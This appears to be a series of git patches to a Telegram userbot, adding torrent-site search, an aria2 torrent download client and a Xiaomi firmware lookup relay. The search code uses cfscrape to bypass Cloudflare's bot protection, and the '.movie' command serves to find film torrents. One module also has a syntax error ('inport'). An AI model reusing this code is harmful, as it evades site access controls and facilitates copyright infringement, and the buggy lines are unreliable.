SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + ) + message_text += "===\r\n" + output_str += message_text + i += 1 + end = datetime.now() + ms = (end - start).seconds + await event.edit( + f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", + link_preview=False, + parse_mode="html", + ) + + +def search_idop_se(search_query): + r = [] + url = "https://idope.se/search/{}/".format(search_query) + raw_json = requests.get(url).json() + results = raw_json["result"]["items"] + for item in results: + # The content scrapped on 24.09.2018 22:56:45 + title = item["name"] + t_hash = item["info_hash"] + age = item["create_time"] + size = item["length"] + seeds = str(item["seeds"]) + r.append( + { + "title": title, + "hash": t_hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA", + } + ) + return r + + +def search_torrentz_eu(search_query): + r = [] + url = "https://torrentz2eu.org/searchA?safe=1&f=" + search_query + "" + scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance + raw_html = scraper.get(url).content + # print(raw_html) + soup = bs(raw_html, "html.parser") + results = soup.find_all("div", {"class": "results"}) + # print(results) + if len(results) > 0: + results = results[0] + for item in results.find_all("dl"): + # print(item) + # The content scrapped on 23.06.2018 15:40:35 + dt = item.find_all("dt")[0] + dd = item.find_all("dd")[0] + # + try: + link_and_text = dt.find_all("a")[0] + link = link_and_text.get("href")[1:] + title = link_and_text.get_text() + span_elements = dd.find_all("span") + date = span_elements[1].get_text() + size = span_elements[2].get_text() + seeds = span_elements[3].get_text() + peers = span_elements[4].get_text() + # + r.append( + { + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers, + } + ) + except BaseException: + pass + return r + + +CMD_HELP.update( + { + "torrentsearch": """**Plugin : **`torrentsearch` + • **Syntax : **`.tsearch query` + • **Function : **__Fetches torrent links of given query__ + • **Syntax : **`.movie idop.se query` + `.movie torrentz2.eu query` + • **Function : **__Fetches torrent links of given query alternative way__ +""" + } +) From 6af188d2a732a7b0346932f25a8fc99efef632aa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:33:04 +0530 Subject: [PATCH 204/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index d411878c..e5d8fe7d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -69,6 +69,7 @@ PyProxyToolkit cairosvg grapheme QScintilla +cfscrape requests_html flask yahoo_fin From 9c61d11b707f953a6837752ab0584af58be63b4c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:39:52 +0530 Subject: [PATCH 205/838] Create torrents.py --- fridaybot/modules/torrents.py | 163 ++++++++++++++++++++++++++++++++++ 1 file changed, 163 insertions(+) create mode 100644 fridaybot/modules/torrents.py diff --git a/fridaybot/modules/torrents.py b/fridaybot/modules/torrents.py new file mode 100644 index 00000000..38435eda --- /dev/null +++ b/fridaybot/modules/torrents.py @@ -0,0 +1,163 @@ +""" +A Torrent Client Plugin Based On Aria2 for Userbot +cmds: Magnet link : .magnet magnetLink + Torrent file from local: .tor file_path + Show Downloads: .show + Remove All Downloads: .ariaRM + +By:- @Zero_cool7870 +""" +import aria2p +from telethon import events +import asyncio +import os +from ..utils import admin_cmd + + +cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true --allow-overwrite=true" +EDIT_SLEEP_TIME_OUT = 5 +aria2_is_running = os.system(cmd) + +aria2 = aria2p.API( + aria2p.Client( + host="http://localhost", + port=6800, + secret="" + ) + ) + + +@borg.on(admin_cmd(pattern=r"magnet")) +async def magnet_download(event): + if event.fwd_from: + return + var = event.text + var = var[8:] + + magnet_uri = var + magnet_uri = magnet_uri.replace("`","") + logger.info(magnet_uri) + try: #Add Magnet URI Into Queue + download = aria2.add_magnet(magnet_uri) + except Exception as e: + logger.info(str(e)) + await event.edit("Error :\n{}".format(str(e))) + return + gid = download.gid + await progress_status(gid=gid,event=event,previous=None) + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + new_gid = await check_metadata(gid) + await progress_status(gid=new_gid,event=event,previous=None) + + + +@borg.on(admin_cmd(pattern=r"tor")) +async def torrent_download(event): + if event.fwd_from: + return + var = event.text[5:] + torrent_file_path = var + torrent_file_path = torrent_file_path.replace("`","") + logger.info(torrent_file_path) + try: #Add Torrent Into Queue + download = aria2.add_torrent(torrent_file_path, uris=None, options=None, position=None) + except Exception as e: + await event.edit("Error :\n`{}`".format(str(e))) + return + gid = download.gid + await progress_status(gid=gid,event=event,previous=None) + +@borg.on(admin_cmd(pattern=r"url")) +async def magnet_download(event): + if event.fwd_from: + return + var = event.text[5:] + print(var) + uris = [var] + try: # Add URL Into Queue + download = aria2.add_uris(uris, options=None, position=None) + except Exception as e: + logger.info(str(e)) + await event.edit("Error :\n`{}`".format(str(e))) + return + gid = download.gid + await progress_status(gid=gid,event=event,previous=None) + file = aria2.get_download(gid) + if file.followed_by_ids: + new_gid = await check_metadata(gid) + await progress_status(gid=new_gid,event=event,previous=None) + +@borg.on(admin_cmd(pattern=r"ariaRM")) +async def remove_all(event): + if event.fwd_from: + return + try: + removed = aria2.remove_all(force=True) + aria2.purge_all() + except: + pass + if removed == False: #If API returns False Try to Remove Through System Call. + os.system("aria2p remove-all") + await event.edit("`Removed All Downloads.`") + +@borg.on(admin_cmd(pattern=r"show")) +async def show_all(event): + if event.fwd_from: + return + output = "output.txt" + downloads = aria2.get_downloads() + msg = "" + for download in downloads: + msg = msg+"File: `"+str(download.name) +"`\nSpeed: "+ str(download.download_speed_string())+"\nProgress: "+str(download.progress_string())+"\nTotal Size: "+str(download.total_length_string())+"\nStatus: "+str(download.status)+"\nETA: "+str(download.eta_string())+"\n\n" + if len(msg) <= 4096: + await event.edit("`Current Downloads: `\n"+msg) + else: + await event.edit("`Output is huge. Sending as a file...`") + with open(output,'w') as f: + f.write(msg) + await asyncio.sleep(2) + await event.delete() + await borg.send_file( + event.chat_id, + output, + force_document=True, + supports_streaming=False, + allow_cache=False, + reply_to=event.message.id, + ) + +async def check_metadata(gid): + file = aria2.get_download(gid) + new_gid = file.followed_by_ids[0] + logger.info("Changing GID "+gid+" to "+new_gid) + return new_gid + +async def progress_status(gid,event,previous): + try: + file = aria2.get_download(gid) + if not file.is_complete: + if not file.error_message: + msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n" + if previous != msg: + await event.edit(msg) + previous = msg + else: + logger.info(str(file.error_message)) + await event.edit("Error : `{}`".format(str(file.error_message))) + return + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + await progress_status(gid,event,previous) + else: + await event.edit("File Downloaded Successfully: `{}`".format(file.name)) + return + except Exception as e: + if " not found" in str(e) or "'file'" in str(e): + await event.edit("Download Canceled :\n`{}`".format(file.name)) + return + elif " depth exceeded" in str(e): + file.remove(force=True) + await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name)) + else: + logger.info(str(e)) + await event.edit("Error :\n`{}`".format(str(e))) + return From 330a037637a94808a63f243d67e3cf8809c24734 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:42:57 +0530 Subject: [PATCH 206/838] Create torrentz.py --- fridaybot/modules/torrentz.py | 110 ++++++++++++++++++++++++++++++++++ 1 file changed, 110 insertions(+) create mode 100644 fridaybot/modules/torrentz.py diff --git a/fridaybot/modules/torrentz.py b/fridaybot/modules/torrentz.py new file mode 100644 index 00000000..9efd1f54 --- /dev/null +++ b/fridaybot/modules/torrentz.py @@ -0,0 +1,110 @@ +""" command: .movie torrentz2.eu|idop.se """ + +import cfscrape # https://github.com/Anorov/cloudflare-scrape +import requests +from datetime import datetime +from bs4 import BeautifulSoup +from ..utils import admin_cmd, humanbytes + + +@borg.on(admin_cmd( # pylint:disable=E0602 + pattern="movie (torrentz2\.eu|idop\.se) (.*)" +)) +async def _(event): + if event.fwd_from: + return + start = datetime.now() + await event.edit("Processing ...") + input_type = event.pattern_match.group(1) + input_str = event.pattern_match.group(2) + search_results = [] + if input_type == "torrentz2.eu": + search_results = search_torrentz_eu(input_str) + elif input_type == "idop.se": + search_results = search_idop_se(input_str) + logger.info(search_results) # pylint:disable=E0602 + output_str = "" + i = 0 + for result in search_results: + if i > 10: + break + message_text = "👉 " + result["title"] + ": " + "" + " \r\n" + message_text += " FILE SIZE: " + result["size"] + "\r\n" + # message_text += " Uploaded " + result["date"] + "\r\n" + message_text += " SEEDS: " + \ + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + message_text += "===\r\n" + output_str += message_text + i = i + 1 + end = datetime.now() + ms = (end - start).seconds + await event.edit( + f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", + link_preview=False, + parse_mode="html" + ) + + +def search_idop_se(search_query): + r = [] + url = "https://idope.se/search/{}/".format(search_query) + raw_json = requests.get(url).json() + results = raw_json["result"]["items"] + for item in results: + """ The content scrapped on 24.09.2018 22:56:45 + """ + title = item["name"] + hash = item["info_hash"] + age = item["create_time"] + size = item["length"] + seeds = str(item["seeds"]) + r.append({ + "title": title, + "hash": hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA" + }) + return r + + +def search_torrentz_eu(search_query): + r = [] + url = "https://torrentz2.eu/searchA?safe=1&f=" + search_query + "" + scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance + raw_html = scraper.get(url).content + # print(raw_html) + soup = BeautifulSoup(raw_html, "html.parser") + results = soup.find_all("div", {"class": "results"}) + # print(results) + if len(results) > 0: + results = results[0] + for item in results.find_all("dl"): + # print(item) + """The content scrapped on 23.06.2018 15:40:35 + """ + dt = item.find_all("dt")[0] + dd = item.find_all("dd")[0] + # + try: + link_and_text = dt.find_all("a")[0] + link = link_and_text.get("href")[1:] + title = link_and_text.get_text() + span_elements = dd.find_all("span") + date = span_elements[1].get_text() + size = span_elements[2].get_text() + seeds = span_elements[3].get_text() + peers = span_elements[4].get_text() + # + r.append({ + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers + }) + except: + pass + return r From 9b4a0fa3b8ab94efc87506ade41ba349f696f780 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:49:08 +0530 Subject: [PATCH 207/838] Update torrentsearch.py --- fridaybot/modules/torrentsearch.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py index a30a0a7d..babc12fa 100644 --- a/fridaybot/modules/torrentsearch.py +++ b/fridaybot/modules/torrentsearch.py @@ -10,7 +10,7 @@ import requests from bs4 import BeautifulSoup as bs -from ..utils import humanbytes +from ..utils import humanbytes, admin_cmd def dogbin(magnets): From c3bec334ec27533218521891fdb88d79cb1f7b50 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:55:22 +0530 Subject: [PATCH 208/838] Update torrentsearch.py --- fridaybot/modules/torrentsearch.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py index babc12fa..2954c2e6 100644 --- a/fridaybot/modules/torrentsearch.py +++ b/fridaybot/modules/torrentsearch.py @@ -9,7 +9,7 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup as bs - +from fridaybot import CMD_HELP from ..utils import humanbytes, admin_cmd From 56728ea2d96595dbf761b43953dbc6e19ea7ad91 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 23:21:22 +0530 Subject: [PATCH 209/838] Update torrents.py --- fridaybot/modules/torrents.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/torrents.py b/fridaybot/modules/torrents.py index 38435eda..3d3127f0 100644 --- a/fridaybot/modules/torrents.py +++ b/fridaybot/modules/torrents.py @@ -51,7 +51,7 @@ async def magnet_download(event): -@borg.on(admin_cmd(pattern=r"tor")) +@borg.on(admin_cmd(pattern=r"tar")) async def torrent_download(event): if event.fwd_from: return From 0a1bb98282f871aaf0c59480af7b03d603228c8a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 23:31:57 +0530 Subject: [PATCH 210/838] Update torrents.py --- fridaybot/modules/torrents.py | 345 +++++++++++++++++++--------------- 1 file changed, 197 insertions(+), 148 deletions(-) diff --git a/fridaybot/modules/torrents.py b/fridaybot/modules/torrents.py index 3d3127f0..1cc2e87d 100644 --- a/fridaybot/modules/torrents.py +++ b/fridaybot/modules/torrents.py @@ -1,163 +1,212 @@ -""" -A Torrent Client Plugin Based On Aria2 for Userbot -cmds: Magnet link : .magnet magnetLink - Torrent file from local: .tor file_path - Show Downloads: .show - Remove All Downloads: .ariaRM - -By:- @Zero_cool7870 -""" +"""A Torrent Client Plugin Based On Aria2 for Userbot +Syntax: Start Aria2: .ariastart +Magnet link: .addmagnet magnetLinK +Torrent file from local: .addtorrent file_path +Show Downloads: .showariastatus +Remove All Downloads: .ariaRM +Resume All Downloads: .ariaRES +Pause All Downloads: .ariaP""" + +# By:- @Zero_cool7870 + + import aria2p -from telethon import events import asyncio +import io import os -from ..utils import admin_cmd +from ..util import admin_cmd -cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true --allow-overwrite=true" -EDIT_SLEEP_TIME_OUT = 5 -aria2_is_running = os.system(cmd) +EDIT_SLEEP_TIME_OUT = 15 +ARIA2_STARTED_PORT = 6800 +aria2_daemon_start_cmd = f"aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port {ARIA2_STARTED_PORT} --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --seed-ratio=100.0 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true" +aria2_is_running = False +aria2 = None -aria2 = aria2p.API( - aria2p.Client( - host="http://localhost", - port=6800, - secret="" - ) - ) +@borg.on(admin_cmd(pattern="ariastart")) +async def aria_start(event): + process = await asyncio.create_subprocess_shell( + aria2_daemon_start_cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await process.communicate() + global aria2 + aria2 = aria2p.API( + aria2p.Client( + host="http://localhost", + port=ARIA2_STARTED_PORT, + secret="" + ) + ) + OUTPUT = f"**ARIA TWO C:**\n__PID:__\n`{process.pid}`\n\n**ARIA TWO STARTED**" + await event.edit(OUTPUT) -@borg.on(admin_cmd(pattern=r"magnet")) + +@borg.on(admin_cmd(pattern="addmagnet")) async def magnet_download(event): - if event.fwd_from: - return - var = event.text - var = var[8:] - - magnet_uri = var - magnet_uri = magnet_uri.replace("`","") - logger.info(magnet_uri) - try: #Add Magnet URI Into Queue - download = aria2.add_magnet(magnet_uri) - except Exception as e: - logger.info(str(e)) - await event.edit("Error :\n{}".format(str(e))) - return - gid = download.gid - await progress_status(gid=gid,event=event,previous=None) - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid,event=event,previous=None) - - - -@borg.on(admin_cmd(pattern=r"tar")) + if event.fwd_from: + return + if not aria2: + await event.edit("Please start process using `ariastart`") + return False + var = event.raw_text + var = var.split(" ") + magnet_uri = var[1] + logger.info(magnet_uri) + # Add Magnet URI Into Queue + try: + download = aria2.add_magnet(magnet_uri) + except Exception as e: + logger.info(str(e)) + await event.edit("Error:\n`" + str(e) + "`") + return + gid = download.gid + await check_progress_for_dl(gid, event) + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + new_gid = await check_metadata(gid) + await check_progress_for_dl(new_gid, event) + + +@borg.on(admin_cmd(pattern="addtorrent")) async def torrent_download(event): - if event.fwd_from: - return - var = event.text[5:] - torrent_file_path = var - torrent_file_path = torrent_file_path.replace("`","") - logger.info(torrent_file_path) - try: #Add Torrent Into Queue - download = aria2.add_torrent(torrent_file_path, uris=None, options=None, position=None) - except Exception as e: - await event.edit("Error :\n`{}`".format(str(e))) - return - gid = download.gid - await progress_status(gid=gid,event=event,previous=None) - -@borg.on(admin_cmd(pattern=r"url")) + if event.fwd_from: + return + if not aria2: + await event.edit("Please start process using `ariastart`") + return False + var = event.raw_text + var = var.split(" ") + torrent_file_path = var[1] + logger.info(torrent_file_path) + # Add Torrent Into Queue + try: + download = aria2.add_torrent( + torrent_file_path, + uris=None, + options=None, + position=None + ) + except: + await event.edit("`Torrent File Not Found...`") + return + gid = download.gid + await check_progress_for_dl(gid, event) + + +@borg.on(admin_cmd(pattern="addurl")) async def magnet_download(event): - if event.fwd_from: - return - var = event.text[5:] - print(var) - uris = [var] - try: # Add URL Into Queue - download = aria2.add_uris(uris, options=None, position=None) - except Exception as e: - logger.info(str(e)) - await event.edit("Error :\n`{}`".format(str(e))) - return - gid = download.gid - await progress_status(gid=gid,event=event,previous=None) - file = aria2.get_download(gid) - if file.followed_by_ids: - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid,event=event,previous=None) - -@borg.on(admin_cmd(pattern=r"ariaRM")) + if event.fwd_from: + return + var = event.raw_text + var = var.split(" ") + url = var[1] + logger.info(url) + uris = [url] + # Add URL Into Queue + try: + download = aria2.add_uris(uris, options=None, position=None) + except Exception as e: + await event.edit("`Error:\n`" + str(e)) + return + gid = download.gid + await check_progress_for_dl(gid, event) + + +@borg.on(admin_cmd(pattern="ariaRM")) async def remove_all(event): - if event.fwd_from: - return - try: - removed = aria2.remove_all(force=True) - aria2.purge_all() - except: - pass - if removed == False: #If API returns False Try to Remove Through System Call. - os.system("aria2p remove-all") - await event.edit("`Removed All Downloads.`") - -@borg.on(admin_cmd(pattern=r"show")) + if event.fwd_from: + return + try: + removed = aria2.remove_all(force=True) + aria2.purge_all() + except: + pass + if removed == False: # If API returns False Try to Remove Through System Call. + os.system("aria2p remove-all") + await event.edit("`Removed All Downloads.`") + + +@borg.on(admin_cmd(pattern="ariaP")) +async def pause_all(event): + if event.fwd_from: + return + # Pause ALL Currently Running Downloads. + paused = aria2.pause_all(force=True) + await event.edit("Output: " + str(paused)) + + +@borg.on(admin_cmd(pattern="ariaRES")) +async def resume_all(event): + if event.fwd_from: + return + resumed = aria2.resume_all() + await event.edit("Output: " + str(resumed)) + + +@borg.on(admin_cmd(pattern="showariastatus")) async def show_all(event): - if event.fwd_from: - return - output = "output.txt" - downloads = aria2.get_downloads() - msg = "" - for download in downloads: - msg = msg+"File: `"+str(download.name) +"`\nSpeed: "+ str(download.download_speed_string())+"\nProgress: "+str(download.progress_string())+"\nTotal Size: "+str(download.total_length_string())+"\nStatus: "+str(download.status)+"\nETA: "+str(download.eta_string())+"\n\n" - if len(msg) <= 4096: - await event.edit("`Current Downloads: `\n"+msg) - else: - await event.edit("`Output is huge. Sending as a file...`") - with open(output,'w') as f: - f.write(msg) - await asyncio.sleep(2) - await event.delete() - await borg.send_file( - event.chat_id, - output, - force_document=True, - supports_streaming=False, - allow_cache=False, - reply_to=event.message.id, - ) + if event.fwd_from: + return + if not aria2: + await event.edit("Please start process using `ariastart`") + return False + # Show All Downloads + downloads = aria2.get_downloads() + msg = "" + for download in downloads: + msg = msg + "File: `" + str(download.name) + "`\nSpeed: " + str(download.download_speed_string()) + "\nProgress: " + str(download.progress_string( + )) + "\nTotal Size: " + str(download.total_length_string()) + "\nStatus: " + str(download.status) + "\nETA: " + str(download.eta_string()) + "\n\n" + # print(msg) + if len(msg) <= Config.MAX_MESSAGE_SIZE_LIMIT: + await event.edit("`Current Downloads: `\n" + msg) + else: + with io.BytesIO(str.encode(msg)) as out_file: + out_file.name = "ariastatus.txt" + await borg.send_file( + event.chat_id, + out_file, + force_document=True, + allow_cache=False, + caption="`Output is huge. Sending as a file...`" + ) + await event.delete() + async def check_metadata(gid): - file = aria2.get_download(gid) - new_gid = file.followed_by_ids[0] - logger.info("Changing GID "+gid+" to "+new_gid) - return new_gid - -async def progress_status(gid,event,previous): - try: - file = aria2.get_download(gid) - if not file.is_complete: - if not file.error_message: - msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n" - if previous != msg: - await event.edit(msg) - previous = msg - else: - logger.info(str(file.error_message)) - await event.edit("Error : `{}`".format(str(file.error_message))) - return - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - await progress_status(gid,event,previous) - else: - await event.edit("File Downloaded Successfully: `{}`".format(file.name)) - return - except Exception as e: - if " not found" in str(e) or "'file'" in str(e): - await event.edit("Download Canceled :\n`{}`".format(file.name)) - return - elif " depth exceeded" in str(e): - file.remove(force=True) - await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name)) - else: - logger.info(str(e)) - await event.edit("Error :\n`{}`".format(str(e))) - return + file = aria2.get_download(gid) + new_gid = file.followed_by_ids[0] + logger.info("Changing GID " + gid + " to " + new_gid) + return new_gid + + +async def check_progress_for_dl(gid, event): + complete = None + previous_message = None + while not complete: + file = aria2.get_download(gid) + complete = file.is_complete + try: + if not file.error_message: + msg = f"\nDownloading File: `{file.name}`" + msg += f"\nSpeed: {file.download_speed_string()} 🔽 / {file.upload_speed_string()} 🔼" + msg += f"\nProgress: {file.progress_string()}" + msg += f"\nTotal Size: {file.total_length_string()}" + msg += f"\nStatus: {file.status}" + msg += f"\nETA: {file.eta_string()}" + if msg != previous_message: + await event.edit(msg) + previous_message = msg + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + else: + msg = file.error_message + await event.edit(f"`{msg}`") + return False + except Exception as e: + logger.info(str(e)) + pass + file = aria2.get_download(gid) + complete = file.is_complete + if complete: + await event.edit(f"File Downloaded Successfully:`{file.name}`") From 4ee55d6eee161c19959fa7dadcd927653302e167 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 23:41:40 +0530 Subject: [PATCH 211/838] Update torrents.py --- fridaybot/modules/torrents.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/torrents.py b/fridaybot/modules/torrents.py index 1cc2e87d..376ff756 100644 --- a/fridaybot/modules/torrents.py +++ b/fridaybot/modules/torrents.py @@ -14,7 +14,7 @@ import asyncio import io import os -from ..util import admin_cmd +from ..utils import admin_cmd EDIT_SLEEP_TIME_OUT = 15 From 5a6963d633af1e6658c6bf9658d34404fd19106f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 23:59:29 +0530 Subject: [PATCH 212/838] Create xiomi.py --- fridaybot/modules/xiomi.py | 197 +++++++++++++++++++++++++++++++++++++ 1 file changed, 197 insertions(+) create mode 100644 fridaybot/modules/xiomi.py diff --git a/fridaybot/modules/xiomi.py b/fridaybot/modules/xiomi.py new file mode 100644 index 00000000..a6dfe7b5 --- /dev/null +++ b/fridaybot/modules/xiomi.py @@ -0,0 +1,197 @@ +# created by @eve_enryu +# edited & fix by @Jisan7509 + + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError +from fridaybot import CMD_HELP +from ..utils inport admin_cmd + +@bot.on(admin_cmd(pattern="firmware(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="firmware(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + firmware = f"firmware" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{firmware} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +@bot.on(admin_cmd(pattern="vendor(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="vendor(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + vendor = f"vendor" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{vendor} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +@bot.on(admin_cmd(pattern="specs(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="specs(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + specs = f"specs" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{specs} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +@bot.on(admin_cmd(pattern="fastboot(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="fastboot(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + fboot = f"fastboot" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{fboot} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +@bot.on(admin_cmd(pattern="recovery(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="recovery(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + recovery = f"recovery" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{recovery} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +@bot.on(admin_cmd(pattern="pb(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="pb(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + pitch = f"pb" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{pitch} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +@bot.on(admin_cmd(pattern="of(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="of(?: |$)(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + link = event.pattern_match.group(1) + ofox = f"of" + catevent = await edit_or_reply(event, "```Processing```") + async with event.client.conversation("@XiaomiGeeksBot") as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=774181428) + ) + await conv.send_message(f"/{ofox} {link}") + respond = await response + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await catevent.edit("```Unblock @XiaomiGeeksBot plox```") + return + else: + await catevent.delete() + await event.client.forward_messages(event.chat_id, respond.message) + + +CMD_HELP.update( + { + "xiaomi": "**Plugin :** `Xiaomi`\ + \n\n__**For Xiaomeme devices only!**__\ + \n\n**Syntax :** `.firmware` (codename)\ + \n**Function : **Get lastest Firmware\ + \n\n**Syntax :** `.vendor` (codename)\ + \n**Function : **Get lastest Vendor\ + \n\n**Syntax :** `.pb` (codename)\ + \n**Function : **Get latest PBRP\ + \n\n**Syntax :** `.specs` (codename)\ + \n**Function : **Get quick spec information about device\ + \n\n**Syntax :** `.fastboot` (codename)\ + \n**Function : **Get latest fastboot MIUI\ + \n\n**Syntax :** `.recovery` (codename)\ + \n**Function : **Get latest recovery MIUI\ + \n\n**Syntax :** `.of` (codename)\ + \n**Function : **Get latest ORangeFox Recovery" + } +) From b3c06a12f3753da3655ab226d7bb6072016dad2b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH 